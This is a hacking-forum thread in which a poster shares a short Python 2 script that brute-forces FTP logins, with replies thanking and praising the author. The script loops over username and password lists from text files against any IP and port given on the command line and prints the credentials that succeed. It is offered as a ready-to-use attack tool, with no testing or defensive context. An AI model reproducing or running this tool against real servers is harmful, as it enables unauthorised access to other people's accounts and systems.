MaDLeeTs • Cyber Security & Professional Webmasters Forum

Full Version: Ftp Bruteforce Tool [Python]
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
So .. i'm not a "write-a-thread" person but i'm actually starting to like this forum :3
so here is a simple tool written in python which in i just wanna demonstrate the power of python actually
its something that i've written in like 5mins or so ._.

#!/usr/bin/python
#FTP BRUTE LOGIN TOOL BY SHINIGAMI VERSION .01
#LETS ROLL !!
import ftplib
import sys
import socket
import os
global f
if os.name == "nt":
os.system("cls")
file_name = sys.argv[0].split("\\")[-1]
else :
file_name = sys.argv[0]


try :
print "#################################################################"
print "##############[+]\tFTP BRUTE Tool\t\t#################"
print "##############[+]\tVERSION .1\t\t#################"
print "#################################################################"
ip = sys.argv[1]
port = sys.argv[2]
f = ftplib.FTP()
use = open('users.txt','r')
spliter = use.read()
users = spliter.split("\n")
passwd = open('passwords.txt','r')
passwrds = passwd.read()
passwords = passwrds.split("\n")
for user in users:
for password in passwords :
print "[+] TRYING " ,user
try :
while True:
f.connect(ip,port,.5)
f.login(user,password)
if len(f.pwd()) == 1 :
print "[+] ~~~~~~~~~~~~~~~ LOGIN SUCCESS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
print "[+] ~~~~~~~~~~~~~~~ USER : " ,user," ~~~~~~~~~~~~~~"
print "[+] ~~~~~~~~~~~~~~~ PASSWORD : ",password," ~~~~~~~~~~~~~~"
break
except socket.error :
continue


except IndexError :
print "[+] USAGE : python %s ip port "% file_name
print "[+] Put Users in users.txt and passwords in passwords.txt"
except socket.error :
print "[+] ERROR CONNECTING "
can you upload it on a website as a simple !!


and thank you brother for sharing
pastebin.com/dijMQ3Sr
Amazing considering that you spent 5 minutes writing it .just picked up my python book , need to brush up on the basics , the script will help me to understand better .I hope to be as good as you someday Smiley1
tahnks lalalla